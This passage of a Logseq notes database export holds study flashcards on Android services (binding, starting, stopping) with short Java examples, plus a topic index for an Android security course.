bar);\\n}\\n```logseq____",536870916]],[logseq____"^15logseq____",[279,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[279,logseq____"^Flogseq____",272,536870916]],[logseq____"^15logseq____",[279,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[279,logseq____"^Vlogseq____",272,536870916]],[logseq____"^15logseq____",[279,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[279,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[279,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[279,logseq____"^;logseq____",logseq____"~u67b83fac-648b-4732-908f-d606fea3e7felogseq____",536870916]],[logseq____"^15logseq____",[280,logseq____"^Qlogseq____",logseq____"## Client binds to local servicelogseq____",536870916]],[logseq____"^15logseq____",[280,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[280,logseq____"^Flogseq____",293,536870916]],[logseq____"^15logseq____",[280,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[280,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[280,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[280,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[280,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[280,logseq____"^;logseq____",logseq____"~u67b83fac-491d-4912-803e-1426608d12e6logseq____",536870916]],[logseq____"^15logseq____",[281,logseq____"^Qlogseq____",logseq____"~```java\\n// Auto-generated by AIDL\\npublic class MyService extends Service {\\n // ...\\n \\n @Override\\n public IBinder onBind(Intent intent) {\\n return mBinder;\\n }\\n \\n private final MyService.Stub mBinder = new MyService.Stub() {\\n public int foo(String bar) {\\n return 42;\\n };\\n }\\n \\n // ...\\n}\\n```logseq____",536870916]],[logseq____"^15logseq____",[281,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[281,logseq____"^Flogseq____",279,536870916]],[logseq____"^15logseq____",[281,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[281,logseq____"^Vlogseq____",272,536870916]],[logseq____"^15logseq____",[281,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[281,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[281,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[281,logseq____"^;logseq____",logseq____"~u67b83fac-147d-41a2-a12b-2cff324ee7b6logseq____",536870916]],[logseq____"^15logseq____",[282,logseq____"^Qlogseq____",logseq____"### Examplelogseq____",536870916]],[logseq____"^15logseq____",[282,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[282,logseq____"^Flogseq____",292,536870916]],[logseq____"^15logseq____",[282,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[282,logseq____"^Vlogseq____",283,536870916]],[logseq____"^15logseq____",[282,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[282,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[282,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[282,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[282,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[282,logseq____"^;logseq____",logseq____"~u67b83fac-5589-4937-b28f-5c457c510cc8logseq____",536870916]],[logseq____"^15logseq____",[283,logseq____"^Qlogseq____",logseq____"## Started by client #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[283,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[283,logseq____"^Flogseq____",268,536870916]],[logseq____"^15logseq____",[283,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[283,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[283,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[283,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[283,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[283,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[283,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[283,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[283,logseq____"^Hlogseq____",24,536870916]],[logseq____"^15logseq____",[283,logseq____"^;logseq____",logseq____"~u67b83fac-df76-44e5-a7fb-93e17320321dlogseq____",536870916]],[logseq____"^15logseq____",[284,logseq____"^Qlogseq____",logseq____"~```java\\npublic class HelloService extends Service {\\n // implement stuff ...\\n \\n @Override\\n public int onStartCommand(Intent intent, int flags, int startId) {\\n // Handle call ...\\n \\n return START_NOT_STICKY;\\n }\\n}\\n```logseq____",536870916]],[logseq____"^15logseq____",[284,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[284,logseq____"^Flogseq____",282,536870916]],[logseq____"^15logseq____",[284,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[284,logseq____"^Vlogseq____",282,536870916]],[logseq____"^15logseq____",[284,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[284,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[284,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[284,logseq____"^;logseq____",logseq____"~u67b83fac-7dd2-4085-9145-eceb5223bf29logseq____",536870916]],[logseq____"^15logseq____",[285,logseq____"^Qlogseq____",logseq____"~`bindService` calls the `onBind` functionlogseq____",536870916]],[logseq____"^15logseq____",[285,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[285,logseq____"^Flogseq____",293,536870916]],[logseq____"^15logseq____",[285,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[285,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[285,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[285,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[285,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[285,logseq____"^;logseq____",logseq____"~u67b83fac-45f3-473e-948a-959769230c4clogseq____",536870916]],[logseq____"^15logseq____",[286,logseq____"^Qlogseq____",logseq____"~`startService` calls the `onStartCommand` functionlogseq____",536870916]],[logseq____"^15logseq____",[286,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[286,logseq____"^Flogseq____",283,536870916]],[logseq____"^15logseq____",[286,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[286,logseq____"^Vlogseq____",283,536870916]],[logseq____"^15logseq____",[286,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[286,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[286,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[286,logseq____"^;logseq____",logseq____"~u67b83fac-7c9a-4340-9886-7b59e74e7a56logseq____",536870916]],[logseq____"^15logseq____",[287,logseq____"^Qlogseq____",logseq____"Once all services unbound, the servicelogseq____'s `onUnbind` function is calledlogseq____",536870916]],[logseq____"^15logseq____",[287,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[287,logseq____"^Flogseq____",288,536870916]],[logseq____"^15logseq____",[287,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[287,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[287,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[287,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[287,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[287,logseq____"^;logseq____",logseq____"~u67b83fac-ade9-459c-9052-ecdcda771227logseq____",536870916]],[logseq____"^15logseq____",[288,logseq____"^Qlogseq____",logseq____"Service is stopped implicitly after all clients called `unbindService`logseq____",536870916]],[logseq____"^15logseq____",[288,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[288,logseq____"^Flogseq____",285,536870916]],[logseq____"^15logseq____",[288,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[288,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[288,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[288,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[288,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[288,logseq____"^;logseq____",logseq____"~u67b83fac-7ed9-4694-9228-4ba4e9aadfaelogseq____",536870916]],[logseq____"^15logseq____",[289,logseq____"^Qlogseq____",logseq____"This example requires a fully explicit [Intent]([[Intent Messages]]), i.e., use the component namelogseq____",536870916]],[logseq____"^15logseq____",[289,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[289,logseq____"^Flogseq____",290,536870916]],[logseq____"^15logseq____",[289,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[289,logseq____"^Vlogseq____",282,536870916]],[logseq____"^15logseq____",[289,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[289,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[289,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[289,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[289,logseq____"^Hlogseq____",75,536870916]],[logseq____"^15logseq____",[289,logseq____"^;logseq____",logseq____"~u67b83fac-5518-4ffd-a75d-fd1da3ca0766logseq____",536870916]],[logseq____"^15logseq____",[290,logseq____"^Qlogseq____",logseq____"~```java\\nIntent intent = new Intent(this, HelloService.class);\\nstartService(intent);\\n```logseq____",536870916]],[logseq____"^15logseq____",[290,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[290,logseq____"^Flogseq____",284,536870916]],[logseq____"^15logseq____",[290,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[290,logseq____"^Vlogseq____",282,536870916]],[logseq____"^15logseq____",[290,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[290,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[290,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[290,logseq____"^;logseq____",logseq____"~u67b83fac-bdd0-4555-9edf-eeeb6876f2d7logseq____",536870916]],[logseq____"^15logseq____",[291,logseq____"^Qlogseq____",logseq____"{{renderer excalidraw, excalidraw-2024-10-22-15-59-19}}logseq____",536870916]],[logseq____"^15logseq____",[291,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[291,logseq____"^Flogseq____",287,536870916]],[logseq____"^15logseq____",[291,logseq____"^Slogseq____",294,536870916]],[logseq____"^15logseq____",[291,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[291,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[291,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[291,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[291,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[291,logseq____"^;logseq____",logseq____"~u67b83fac-422e-4dbb-aa2d-ad21dc1f9389logseq____",536870916]],[logseq____"^15logseq____",[292,logseq____"^Qlogseq____",logseq____"The service is then explicitly stopped (either by the client or itself)logseq____",536870916]],[logseq____"^15logseq____",[292,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[292,logseq____"^Flogseq____",286,536870916]],[logseq____"^15logseq____",[292,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[292,logseq____"^Vlogseq____",283,536870916]],[logseq____"^15logseq____",[292,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[292,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[292,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[292,logseq____"^;logseq____",logseq____"~u67b83fac-6bd8-44c7-8242-c3b438887a64logseq____",536870916]],[logseq____"^15logseq____",[293,logseq____"^Qlogseq____",logseq____"## Client binds to remote service #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[293,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[293,logseq____"^Flogseq____",283,536870916]],[logseq____"^15logseq____",[293,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[293,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[293,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[293,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[293,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[293,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[293,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[293,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[293,logseq____"^Hlogseq____",24,536870916]],[logseq____"^15logseq____",[293,logseq____"^;logseq____",logseq____"~u67b83fac-7e84-4110-aabe-97aa0810d781logseq____",536870916]],[logseq____"^15logseq____",[294,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:logseq.macro-namelogseq____",logseq____"rendererlogseq____",logseq____"~:logseq.macro-argumentslogseq____",[logseq____"excalidrawlogseq____",logseq____"excalidraw-2024-10-22-15-59-19logseq____"]],536870916]],[logseq____"^15logseq____",[294,logseq____"^Wlogseq____",logseq____"macrologseq____",536870916]],[logseq____"^15logseq____",[294,logseq____"^Tlogseq____",logseq____"renderer excalidraw excalidraw-2024-10-22-15-59-19logseq____",536870916]],[logseq____"^15logseq____",[296,logseq____"^Klogseq____",1740128172081,536870916]],[logseq____"^15logseq____",[296,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[296,logseq____"^Ylogseq____",logseq____"topicslogseq____",536870916]],[logseq____"^15logseq____",[296,logseq____"^11logseq____",logseq____"Topicslogseq____",536870916]],[logseq____"^15logseq____",[296,logseq____"^Blogseq____",1740475581438,536878868]],[logseq____"^15logseq____",[296,logseq____"^;logseq____",logseq____"~u67bd79bb-8ff1-4192-be36-7724d3e2ac13logseq____",536878163]],[logseq____"^15logseq____",[297,logseq____"^Qlogseq____",logseq____"## [[Service Components]]logseq____",536870916]],[logseq____"^15logseq____",[297,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[297,logseq____"^Flogseq____",308,536870916]],[logseq____"^15logseq____",[297,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[297,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[297,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[297,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[297,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[297,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[297,logseq____"^Hlogseq____",26,536878163]],[logseq____"^15logseq____",[297,logseq____"^;logseq____",logseq____"~u67b83fac-2a26-4fbe-ac48-8fb55ba8d03dlogseq____",536870916]],[logseq____"^15logseq____",[298,logseq____"^Qlogseq____",logseq____"## [[Content Provider]]logseq____",536873220]],[logseq____"^15logseq____",[298,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[298,logseq____"^Flogseq____",297,536870916]],[logseq____"^15logseq____",[298,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[298,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[298,logseq____"^Ulogseq____",25,536870916]],[logseq____"^15logseq____",[298,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[298,logseq____"^Ulogseq____",412,536873220]],[logseq____"^15logseq____",[298,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[298,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[298,logseq____"^Hlogseq____",412,536878163]],[logseq____"^15logseq____",[298,logseq____"^;logseq____",logseq____"~u67b83fac-e268-4165-8b60-9e5e1d830937logseq____",536870916]],[logseq____"^15logseq____",[299,logseq____"^Qlogseq____",logseq____"# Topic 2 - Security Architecturelogseq____",536870916]],[logseq____"^15logseq____",[299,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[299,logseq____"^Flogseq____",300,536870916]],[logseq____"^15logseq____",[299,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[299,logseq____"^Vlogseq____",296,536870916]],[logseq____"^15logseq____",[299,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[299,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536878163]],[logseq____"^15logseq____",[299,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[299,logseq____"^;logseq____",logseq____"~u67b83fac-c8b5-42d5-9105-944211a77bdelogseq____",536870916]],[logseq____"^15logseq____",[300,logseq____"^Qlogseq____",logseq____"# Topic 1 - Android Basicslogseq____",536870916]],[logseq____"^15logseq____",[300,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[300,logseq____"^Flogseq____",296,536870916]],[logseq____"^15logseq____",[300,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[300,logseq____"^Vlogseq____",296,536870916]],[logseq____"^15logseq____",[300,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[300,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536878163]],[logseq____"^15logseq____",[300,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[300,logseq____"^;logseq____",logseq____"~u67b83fac-03ca-4ffd-8ea2-9e593b8c8bfelogseq____",536870916]],[logseq____"^15logseq____",[301,logseq____"^Qlogseq____",logseq____"## [[Application Manifest]]logseq____",536870916]],[logseq____"^15logseq____",[301,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[301,logseq____"^Flogseq____",302,536870916]],[logseq____"^15logseq____",[301,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[301,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[301,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[301,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[301,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[301,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[301,logseq____"^Hlogseq____",28,536878163]],[logseq____"^15logseq____",[301,logseq____"^;logseq____",logseq____"~u67b83fac-c7dd-41bd-b3d4-16c23e1babb2logseq____",536870916]],[logseq____"^15logseq____",[302,logseq____"^Qlogseq____",logseq____"## [[APK (Android Package)]]logseq____",536870916]],[logseq____"^15logseq____",[302,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[302,logseq____"^Flogseq____",300,536870916]],[logseq____"^15logseq____",[302,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[302,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[302,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[302,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[302,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[302,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[302,logseq____"^Hlogseq____",23,536878163]],[logseq____"^15logseq____",[302,logseq____"^;logseq____",logseq____"~u67b83fac-1296-438c-b461-56d977b4f387logseq____",536870916]],[logseq____"^15logseq____",[303,logseq____"^Qlogseq____",logseq____"## [[Activity]]logseq____",536873220]],[logseq____"^15logseq____",[303,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[303,logseq____"^Flogseq____",301,536870916]],[logseq____"^15logseq____",[303,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[303,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[303,logseq____"^Ulogseq____",27,536870916]],[logseq____"^15logseq____",[303,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[303,logseq____"^Ulogseq____",411,536873220]],[logseq____"^15logseq____",[303,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[303,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[303,logseq____"^Hlogseq____",411,536878163]],[logseq____"^15logseq____",[303,logseq____"^;logseq____",logseq____"~u67b83fac-aa14-4f4d-a59b-30da57df2ba0logseq____",536870916]],[logseq____"^15logseq____",[304,logseq____"^Qlogseq____",logseq____"## [[Secure Architecture Principles]]logseq____",536870916]],[logseq____"^15logseq____",[304,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[304,logseq____"^Flogseq____",310,536870916]],[logseq____"^15logseq____",[304,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[304,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[304,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[304,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[304,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[304,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[304,logseq____"^Hlogseq____",225,536878163]],[logseq____"^15logseq____",[304,logseq____"^;logseq____",logseq____"~u67b83fac-084b-4518-99b0-8dafbdf2bbf6logseq____",536870916]],[logseq____"^15logseq____",[306,logseq____"^Qlogseq____",logseq____"## [[Sandboxing]]logseq____",536870916]],[logseq____"^15logseq____",[306,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[306,logseq____"^Flogseq____",304,536870916]],[logseq____"^15logseq____",[306,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[306,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[306,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[306,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[306,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[306,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[306,logseq____"^Hlogseq____",183,536878163]],[logseq____"^15logseq____",[306,logseq____"^;logseq____",logseq____"~u67b83fac-b6a3-4a4e-ab6e-d63d7f8f0319logseq____",536870916]],[logseq____"^15logseq____",[307,logseq____"^Qlogseq____",logseq____"## [[Access Control]]logseq____",536870916]],[logseq____"^15logseq____",[307,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[307,logseq____"^Flogseq____",306,536870916]],[logseq____"^15logseq____",[307,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[307,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[307,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[307,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[307,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[307,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[307,logseq____"^Hlogseq____",37,536878163]],[logseq____"^15logseq____",[307,logseq____"^;logseq____",logseq____"~u67b83fac-8606-4fce-b5d0-73c52f7d9357logseq____",536870916]],[logseq____"^15logseq____",[308,logseq____"^Qlogseq____",logseq____"## [[Intent Messages]]logseq____",536870916]],[logseq____"^15logseq____",[308,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[308,logseq____"^Flogseq____",303,536870916]],[logseq____"^15logseq____",[308,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[308,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[308,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[308,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[308,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[308,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[308,logseq____"^Hlogseq____",75,536878163]],[logseq____"^15logseq____",[308,logseq____"^;logseq____",logseq____"~u67b83fac-89cf-440d-8333-2b2cb0ff9f2clogseq____",536870916]],[logseq____"^15logseq____",[309,logseq____"^Qlogseq____",logseq____"## [[Permissions]]logseq____",536871371]],[logseq____"^15logseq____",[309,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[309,logseq____"^Flogseq____",307,536870916]],[logseq____"^15logseq____",[309,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[309,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[309,logseq____"^Ulogseq____",296,536871372]],[logseq____"^15logseq____",[309,logseq____"^Ulogseq____",354,536871372]],[logseq____"^15logseq____",[309,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[309,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[309,logseq____"^Hlogseq____",354,536878163]],[logseq____"^15logseq____",[309,logseq____"^;logseq____",logseq____"~u67b83fac-9314-4077-bdf3-410e449d7207logseq____",536870916]],[logseq____"^15logseq____",[310,logseq____"^Qlogseq____",logseq____"## [[Package Integrity and Authenticity]]logseq____",536870916]],[logseq____"^15logseq____",[310,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[310,logseq____"^Flogseq____",311,536870916]],[logseq____"^15logseq____",[310,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[310,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[310,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[310,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[310,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[310,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[310,logseq____"^Hlogseq____",144,536878163]],[logseq____"^15logseq____",[310,logseq____"^;logseq____",logseq____"~u67b83fac-7095-4795-bf70-74b5a40c4b2elogseq____",536870916]],[logseq____"^15logseq____",[311,logseq____"^Qlogseq____",logseq____"## [[Security Considerations]]logseq____",536870916]],[logseq____"^15logseq____",[311,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[311,logseq____"^Flogseq____",299,536870916]],[logseq____"^15logseq____",[311,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[311,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[311,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[311,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[311,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[311,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[311,logseq____"^Hlogseq____",257,536878163]],[logseq____"^15logseq____",[311,logseq____"^;logseq____",logseq____"~u67b83fac-97d0-423b-bbe7-6d72c775ab7clogseq____",536870916]],[logseq____"^15logseq____",[314,logseq____"^Klogseq____",1740128172090,536870916]],[logseq____"^15logseq____",[314,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[314,logseq____"^Ylogseq____",logseq____"excalidraw-2024-10-22-15-58-29logseq____",536870916]],[logseq____"^15logseq____",[314,logseq____"^11logseq____",logseq____"excalidraw-2024-10-22-15-58-29logseq____",536870916]],[logseq____"^15logseq____",[314,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:excalidraw-pluginlogseq____",true],536870916]],[logseq____"^15logseq____",[314,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1logseq____<logseq____",logseq____"truelogseq____"],536870916]],[logseq____"^15logseq____",[314,logseq____"^Blogseq____",1740128172090,536870916]],[logseq____"^15logseq____",[314,logseq____"^;logseq____",logseq____"~u67b83fac-1703-4982-832b-11d447cb863alogseq____",536870916]],[logseq____"^15logseq____",[315,logseq____"^Klogseq____",1740128172104,536870916]],[logseq____"^15logseq____",[315,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[315,logseq____"^Ylogseq____",logseq____"excalidraw-pluginlogseq____",536870916]],[logseq____"^15logseq____",[315,logseq____"^11logseq____",logseq____"excalidraw-pluginlogseq____",536870916]],[logseq____"^15logseq____",[315,logseq____"^Blogseq____",1740128172104,536870916]],[logseq____"^15logseq____",[315,logseq____"^;logseq____",logseq____"~u67b83fac-b44e-4cc0-a3c4-de3c662063a4logseq____",536870916]],[logseq____"^15logseq____",[316,logseq____"^Qlogseq____",logseq____"excalidraw-plugin:: 